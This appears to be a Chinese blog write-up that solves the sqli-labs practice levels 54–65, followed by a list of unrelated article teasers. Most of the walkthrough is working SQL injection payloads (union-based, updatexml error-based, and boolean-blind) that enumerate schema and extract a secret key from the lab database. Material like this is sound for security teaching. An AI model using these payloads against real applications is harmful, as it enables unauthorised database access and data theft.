sqli-labs靶场实录(四): Challenges
sqli-labs靶场实录: Challenges
- Less54
- 确定字段数
- 获取数据库名
- 获取表名
- 获取列名
- 提取密钥值
- Less55
- Less56
- Less57
- Less58
- 爆库构造
- 爆表构造
- 爆列构造
- 密钥提取构造
- Less59
- Less60
- Less61
- Less62
- 爆库构造
- Less63
- Less64
- Less65
- 免责声明:
Less54
本关开始上难度了
可以看到此关仅允许10次有效查询
超过后数据库表名、列名及密钥会随机重置
故需快速精准完成注入,找到对应key,避免浪费机会
看了看源码
发现是基础的单引号闭合
故尝试联合注入
确定字段数
?id=1' ORDER BY 3--+
页面回显正常
字段为3

获取数据库名
构造?id=-1' UNION SELECT 1,2,database()--+
爆出库名为Challenges

获取表名
?id=-1' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+
这里注意每个人的表名都是随机生成的
我的如下GY9BMPY2HM

获取列名
列名同理随机secret_XXXX
?id=-1' UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='GY9BMPY2HM'--+

提取密钥值
?id=-1' UNION SELECT 1,2,secret_X3SE FROM GY9BMPY2HM--+
X3SE为随机列名,GY9BMPY2HM为随机表名
得到密钥如下

登录成功

Less55
本关卡和上一关的区别在于闭合不一致
其采用的是)闭合
故确定字段数构造?id=1) ORDER BY 3--+

爆库构造?id=-1) UNION SELECT 1,2,database()--+

爆表构造?id=-1) UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+

爆列?id=-1) UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+

提取数据构造?id=-1) UNION SELECT 1,2,你的列名FROM 你的表名--+

使用密钥成功登录

Less56
本关卡和上一关的区别在于闭合不一致
其采用的是')闭合
故确定字段数构造?id=1') ORDER BY 3--+

爆库构造?id=-1') UNION SELECT 1,2,database()--+

爆表构造?id=-1') UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+

爆列?id=-1') UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+

提取数据构造?id=-1') UNION SELECT 1,2,你的列名FROM 你的表名--+

使用密钥成功登录

Less57
本关卡和上一关的区别在于闭合不一致
其采用的是双引号"闭合
故确定字段数构造?id=1" ORDER BY 3--+
爆库构造?id=-1" UNION SELECT 1,2,database()--+
爆表构造?id=-1" UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+
爆列?id=-1" UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+
提取数据构造?id=-1" UNION SELECT 1,2,你的列名 FROM 你的表名--+
使用密钥成功登录

Less58
本关卡只有5次测试机会
故需要谨慎应对

经过几次摸索测试
发现页面不会返回数据库查询结果
故联合注入无法使用
改用报错注入
爆库构造
?id=1' and updatexml(1,concat(1,database()),1)--+

爆表构造
?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+

爆列构造
?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+

密钥提取构造
?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+

密钥登录成功

Less59
这一关和上一关区别在于其不需要单引号 闭合
故爆库构造?id=1 and updatexml(1,concat(1,database()),1)--+
爆表构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+
爆列构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+
密钥提取构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+

密钥登录成功

Less60
本关和上一关区别在于本关采用的是")闭合
故爆库构造?id=1") and updatexml(1,concat(1,database()),1)--+
爆表构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+
爆列构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+
密钥提取构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+
Less61
本关和前关区别在于本关使用的是'))闭合
故爆库构造?id=1')) and updatexml(1,concat(1,database()),1)--+
爆表构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+
爆列构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+
密钥提取构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+

Less62
本关经测试不会回显报错信息
故报错注入也用不了了
故只能采用盲注
这里采用布尔盲注做例
爆库构造
?id=1') and ascii(substr(database(),1,1))>98--+

?id=1') and ascii(substr(database(),1,1))>99--+

这里能判断首字母98<Ascii码<=99
故得到首字母为c
以此类推得到数据库名challenges
表名测试参考?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>100--+
列名测试参考?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='users' limit 0,1),1,1))>104--+
数据测试参考?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='users' limit 0,1),1,1))>105--+
Less63
这一关为单引号'闭合
将62关的payload修改一下即可使用
Less64
这一关为))闭合
将62关的payload修改一下即可使用
Less65
这一关为")闭合
将62关的payload修改一下即可使用
免责声明:
本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。
相关文章:
sqli-labs靶场实录(四): Challenges
sqli-labs靶场实录: Challenges Less54确定字段数获取数据库名获取表名获取列名提取密钥值 Less55Less56Less57Less58爆库构造爆表构造爆列构造密钥提取构造 Less59Less60Less61Less62爆库构造 Less63Less64Less65免责声明: Less54 本关开始上难度了 可以看到此关仅…...
HTML,API,RestFul API基础
一文搞懂RESTful API - bigsai - 博客园 1. API 路径 开头必须 /,表示绝对路径,不支持 . 或 ..(相对路径)。API 结尾 / 通常不需要,但部分框架会自动处理 / → 无 /。 ✅ 推荐 GET /api/v1/products # 资源集合…...
Spring框架中都用到了哪些设计模式?
大家好,我是锋哥。今天分享关于【Spring框架中都用到了哪些设计模式?】面试题。希望对大家有帮助; Spring框架中都用到了哪些设计模式? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Spring框架中使用了大量的设计模…...
ubuntu服务器部署
关闭欢迎消息 服务器安装好 ubuntu 系统后,进行终端登录,会显示出很多的欢迎消息 通过在用户的根目录下执行 touch .hushlogin 命令,再次登录终端就不会出现欢迎消息 修改hostname显示 修改 /etc/hostname 文件内容为主机名,保…...
Centos7虚拟机安装及网络配置(二)
#二、centos7的网络配置-Nat模式 NAT模式也是VMware创建虚拟机的默认网络连接模式。使用NAT模式网络连接时,VMware会在主机上建立单独的专用网络,用以在主机和虚拟机之间相互通信。虚拟机向外部网络发送的请求数据"包裹",都会交由…...
关于视频去水印的一点尝试
一. 视频去水印的几种方法 1. 使用ffmpeg delogo滤镜 delogo 滤镜的原理是通过插值算法,用水印周围的像素填充水印的位置。 示例: ffmpeg -i input.mp4 -filter_complex "[0:v]delogox420:y920:w1070:h60" output.mp4 该命令表示通过滤镜…...
maven-antrun-plugin插件的用法
maven-antrun-plugin 是 Maven 中一个非常强大的插件,它允许你在 Maven 构建过程中运行 Apache Ant 任务。通过这个插件,你可以在 Maven 构建的各个阶段(如 compile、package 等)中执行自定义的 Ant 任务,比如复制文件…...
twisted实现MMORPG 游戏数据库操作封装设计与实现
在设计 MMORPG(大规模多人在线角色扮演游戏)时,数据库系统是游戏架构中至关重要的一部分。数据库不仅承担了游戏中各种数据(如玩家数据、物品数据、游戏世界状态等)的存储和管理任务,还必须高效地支持并发访…...
Java知识速记:Exception与Error的区别
Java知识速记:Exception与Error的区别 在Java编程中,异常处理是一个重要的概念。程序员需要了解如何有效识别和处理不同类型的错误,以提升程序的健壮性和可维护性。 什么是异常(Exception)? 异常是程序在运…...
CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB
代码存在sql注入 // 处理登录表单的POST请求PostMapping({"/login"})public String handleLogin(RequestParam String username, RequestParam String password, HttpSession session, Model model) throws SQLException {// 验证用户凭据if (this.userService.valid…...
GDB 使用心得
一、 入门篇 理解 GDB 的作用: GDB 是 GNU 调试器的缩写,用于调试 C、C 等编程语言的程序。它可以帮助你: 跟踪程序执行流程设置断点,暂停程序执行查看和修改变量值分析程序崩溃原因 掌握基本命令: 启动 GDB: gdb <可执行文件>运行程序…...
电脑端调用摄像头拍照:从基础到实现
文章目录 1. 了解navigator.mediaDevices.getUserMedia API2. 创建 HTML 结构3. 编写 JavaScript 代码3.1 打开摄像头3.2 拍照 4. 完整代码5. 测试6. 注意事项及部署 在现代 Web 开发中,调用摄像头进行拍照是一个常见的功能,尤其是在需要用户上传头像、进…...
部署 DeepSeek R1各个版本所需硬件配置清单
DeepSeek-R1 通过其卓越的推理性能和灵活的训练机制,在 2025 年的春节期间受到了广泛关注。 DeepSeek-R1 是一款高性能的 AI 推理模型,主要通过强化学习技术来增强模型在复杂任务场景下的推理能力。 在本地部署 DeepSeek-R1 时,尤其是完整的…...
Java面试题——事务
65. Spring事务的实现方式和实现原理 Spring事务的本质其实就是数据库对事务的支持,没有数据库的事务支持,Spring是无法提供事务功能的。Spring事务实现主要有两种方法:编程式:beginTransaction()、commit()、rollback()等事务管理相关的方法࿰…...
算法18(力扣136)只出现一次的数字
1、问题 给你一个 非空 整数数组 nums,除了某个元素只出现一次以外,其余每个元素均出现两次。找出那个只出现了一次的元素。 你必须设计并实现线性时间复杂度的算法来解决此问题,且该算法只使用常量额外空间。 2、示例 (1&…...
SiliconCloud 支持deepseek,送2000w token
SiliconCloud SiliconCloud 邀请奖励持续进行,2000 万 Tokens 送不停! 邀请好友赚 2000 万 Tokens:每成功邀请一位新用户通过手机号码注册,您将获得 2000 万 Tokens;注册即送 2000 万 Tokens:受邀好友作为…...
在nodejs中使用RabbitMQ(六)sharding消息分片
RabbitMQ 的分片插件(rabbitmq_sharding)允许将消息分布到多个队列中,这在消息量很大或处理速度要求高的情况下非常有用。分片功能通过将消息拆分到多个队列中来平衡负载,从而提升消息处理的吞吐量和可靠性。它能够在多个队列之间…...
STM32 I2C通信协议说明
目录 背景 I2C协议 数据的有效性 I2C通信开始和停止条件 I2C数据传输 发送 响应 正常情况: 异常情况: 主机结束接收 写寄存器的标准流程 读寄存器的标准流程 仲裁机制 时钟同步 SDA线的仲裁 程序 背景 对单片机的三大通信中的I2C通信进…...
git bash在github的库中上传或更新本地文件
一、将本地文件上传到 GitHub 仓库 1. 创建 GitHub 仓库 如果你还没有在 GitHub 上创建仓库,首先需要创建一个新的仓库: 登录到 GitHub。点击右上角的 按钮,选择 New repository。给你的仓库起个名字,并选择 Public 或 Privat…...
Keysight E5071C (Agilent) 网络分析仪的特性和规格
安捷伦E5071C网络分析仪 Keysight E5071C网络分析仪 Keysight E5071C (Agilent) 网络分析仪的其他特性和规格包括: 宽动态范围:测试端口动态范围 > 123 dB(典型值) 快速测量速度:41 ms 全 2 端口校准,…...
总结:如何在SpringBoot中使用https协议以及自签证书?
总结:如何在SpringBoot中使用https协议以及自签证书? 前提一:什么是http协议?前提二:什么是https协议?一生成自签证书二 将证书转换为PKCS12格式三 配置SpringBoot(1)修改配置文件&a…...
Golang学习历程【第七篇 闭包type defer panic recover了解time包】
Golang学习历程【第七篇 闭包&type defer panic recover了解】 1. 闭包1.1 闭包的定义1.2 闭包的特点1.3 闭包的示例 2. 类型(type)2.1 自定义类型2.2 类型示例 3. 延迟执行(Defer)3.1 defer 的用法3.2 defer 示例 4. 恐慌(Panic…...
基于SSM+uniapp的数学辅导小程序+LW示例参考
1.项目介绍 系统角色:管理员、普通用户功能模块:用户管理、学习中心、知识分类管理、学习周报管理、口算练习管理、试题管理、考试管理、错题本等技术选型:SSM,Vue(后端管理web),uniapp等测试环…...
利用AI智能体创建云端文档知识库并集成第三方数据源(上)
许多开发者在管理和集成多种云端的数据源时经常面对各种各样的困难,所以希望能够构建一个聊天机器人来协调这些数据源,针对业务问题并提供全面的答案。本文介绍了一种解决方案,帮助大家开发一个能够从文档和数据库中回答查询的聊天机器人&…...
聚铭网络入围2025年度江苏省政府采购信息安全设备协议供货名单
近日,2025年度江苏省党政机关、事业单位及团体组织信息安全设备框架协议采购项目入围结果公布。聚铭网络凭借自身专业实力和技术优势脱颖而出,成功入围22个分包。 此次采购项目是江苏省政府采购领域级别最高、覆盖面最广的项目之一。从资格评选到后期材料…...
vue+springboot+webtrc+websocket实现双人音视频通话会议
前言 最近一些时间我有研究,如何实现一个视频会议功能,但是找了好多资料都不太理想,最终参考了一个文章 WebRTC实现双端音视频聊天(Vue3 SpringBoot) 只不过,它的实现效果里面只会播放本地的mp4视频文件&…...
2025年单片机毕业设计选题物联网计算机电气电子通信类
当然,以下是基于物联网技术设计的20个单片机类题目,旨在考察学生在物联网环境下单片机应用、系统设计、数据传输与处理等方面的能力: 基于物联网的智能家居温度湿度控制系统设计:利用单片机和传感器实现室内环境的温湿度监测&…...
堡垒机调用xshell 无反应
安装sso_client 确认db_path.ini xhsell路径 如图调整为本机安装的路径即可。 实战问题: 操作完成之后 Chrome还是无法调用,使用360浏览器没问题。...
python后端调用Deep Seek API
python后端调用Deep Seek API 需要依次下载 ●Ollama ●Deepseek R1 LLM模型 ●嵌入模型nomic-embed-text / bge-m3 ●AnythingLLM 参考教程: Deepseek R1打造本地化RAG知识库:安装部署使用详细教程 手把手教你:deepseek R1基于 AnythingLLM API 调用本地…...
Easy系列PLC 线性变换功能块(模拟量相关功能块汇总)
线性转换函数S_RTR 线性转换函数S_RTR(SCL和ST代码)_线性函数的scl语言如何编写-CSDN博客文章浏览阅读440次。博客介绍了线性转换函数S_RTR,包括其在PLC中的应用,如何与工艺PID组合使用,以及在张力开环控制中的具体实践。还提到了函数的C99兼容性,并提供了S_RTR的功能块源…...
